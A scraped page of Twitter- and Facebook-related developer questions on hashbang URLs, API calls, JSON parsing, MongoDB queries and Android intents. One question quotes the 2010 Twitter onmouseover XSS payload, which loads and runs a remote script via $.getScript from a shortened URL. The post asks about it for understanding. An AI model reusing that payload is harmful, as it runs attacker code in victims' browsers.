twitter interview questions
Top twitter frequently asked interview questions
I've just noticed that the long, convoluted Facebook URLs that we're used to now look like this:
http://www.facebook.com/example.profile#!/pages/Another-Page/123456789012345
As far as I can recall, earlier this year it was just a normal URL-fragment-like string (starting with #), without the exclamation mark. But now it's a shebang or hashbang (#!), which I've previously only seen in shell scripts and Perl scripts.
The new Twitter URLs now also feature the #! symbols. A Twitter profile URL, for example, now looks like this:
http://twitter.com/#!/BoltClock
Does #! now play some special role in URLs, like for a certain Ajax framework or something since the new Facebook and Twitter interfaces are now largely Ajaxified? Would using this in my URLs benefit my Web application in any way?

I'm trying to parse json returned from a curl request, like sp:
curl 'http://twitter.com/users/username.json' | sed -e 's/[{}]/''/g' | awk -v k="text" '{n=split($0,a,","); for (i=1; i<=n; i++) print a[i]}'
I have it set working where it splits the json into fields, i.e. the above returns
% ...
"geo_enabled":false
"friends_count":245
"profile_text_color":"000000"
"status":"in_reply_to_screen_name":null
"source":"web"
"truncated":false
"text":"My status"
"favorited":false
% ...
But what I would like to do is grab a specific field (denoted by the -v k=text) and only print that.
Any ideas?

Because of the Twitter API 1.0 retirement as of June 11th 2013, the script below does not work anymore.
// Create curl resource
$ch = curl_init();
// Set url
curl_setopt($ch, CURLOPT_URL, "http://twitter.com/statuses/user_timeline/myscreenname.json?count=10");
// Return the transfer as a string
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
// $output contains the output string
$output = curl_exec($ch);
// Close curl resource to free up system resources
curl_close($ch);
if ($output)
{
$tweets = json_decode($output,true);
foreach ($tweets as $tweet)
{
print_r($tweet);
}
}
How can I get the user_timeline (recent statuses) with the least code possible?
I found this: https://dev.twitter.com/docs/api/1.1/get/statuses/user_timeline
but I get the following error:
"{"errors":[{"message":"Could not authenticate you","code":32}]}"
There are a lot of classes out there but after trying several none of them seem to work because of these updates at Twitter, plus some of them are pretty advanced classes with a lot of functionality that I don't really need.
What is the simplest/shortest way to get the recent user statuses with PHP?

I've been playing around storing tweets inside mongodb, each object looks like this:
{
"_id" : ObjectId("4c02c58de500fe1be1000005"),
"contributors" : null,
"text" : "Hello world",
"user" : {
"following" : null,
"followers_count" : 5,
"utc_offset" : null,
"location" : "",
"profile_text_color" : "000000",
"friends_count" : 11,
"profile_link_color" : "0000ff",
"verified" : false,
"protected" : false,
"url" : null,
"contributors_enabled" : false,
"created_at" : "Sun May 30 18:47:06 +0000 2010",
"geo_enabled" : false,
"profile_sidebar_border_color" : "87bc44",
"statuses_count" : 13,
"favourites_count" : 0,
"description" : "",
"notifications" : null,
"profile_background_tile" : false,
"lang" : "en",
"id" : 149978111,
"time_zone" : null,
"profile_sidebar_fill_color" : "e0ff92"
},
"geo" : null,
"coordinates" : null,
"in_reply_to_user_id" : 149183152,
"place" : null,
"created_at" : "Sun May 30 20:07:35 +0000 2010",
"source" : "web",
"in_reply_to_status_id" : {
"floatApprox" : 15061797850
},
"truncated" : false,
"favorited" : false,
"id" : {
"floatApprox" : 15061838001
}
How would I write a query which checks the created_at and finds all objects between 18:47 and 19:00? Do I need to update my documents so the dates are stored in a specific format?

I'm looking for any solid current information on creating custom share icons for the following.
- Facebook
- Twitter
- Google +
- LinkedIn
- Pinterest
All the documentation I keep getting to seems to be about using THEIR social like / share buttons - which most of the time I think are not very appealing. Things like socialite.js help to deal with some of the other issues that arrise when using the "native" like / share buttons (sorry not sure what else to call them), but they're not very pretty to be honest.
Any reference material / tutorials or guidance would be awesome.
Cheers.

I am new to OAuth and have been playing around with the Twitter API. I am able to fetch the credentials of an user after authentication by making a request to http://api.twitter.com/1/account/verify_credentials.xml. The response contains the user id, screen name etc. but not the email ID.
Is it possible at all to retrieve the email ID of the user?
Update
I believe Facebook provides this information if you specifically request for extended permissions. Is there something similar for Twitter?

I tried to install twitter bower on my Mac, and I used
npm install bower -g
Then I tried bower --help, and the output was bower command not found. Why is that?

Is it possible to show a list of applications (with intent.createChooser) that only show me my twitter apps on my phone (so htc peep (htc hero) or twitdroid). I have tried it with intent.settype("application/twitter") but it doesnt find any apps for twitter and only shows my mail apps.
Thank you,

Can you explain what exactly happened on Twitter today? Basically the exploit was causing people to post a tweet containing this link:
http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/
Is this technically an XSS attack or something else?

I was looking for some way to launch Twitter app and open a specified page from my aplication, without webview.
I found the solution for Facebook here:
Opening facebook app on specified profile page
I need something similar.
Thank you very much.
EDIT
I just found a solution:
try {
Intent intent = new Intent(Intent.ACTION_VIEW,
Uri.parse("twitter://user?screen_name=[user_name]"));
startActivity(intent);
}catch (Exception e) {
startActivity(new Intent(Intent.ACTION_VIEW,
Uri.parse("https://twitter.com/#!/[user_name]")));
}
Thanks for your comments.

Integrating Multiple Social networks into Android with a single common Framework or API or JAR
For iPhone we have ShareKit, which integrates multiple sharing options in one framework.
http://www.getsharekit.com/
For android i have no idea if something similar exists. I am building an application which shares information to social networks, like some posts and tweets. Its a simple game, where gamers publish updates about their achievements and levels.. etc.. I used Facebook and twitter APIs but they take up lots of memory and difficult to manage. Also i cannot handle them efficiently. Any help on how to integrate them would be appreciated.
I would like to have a few suggestions on this..
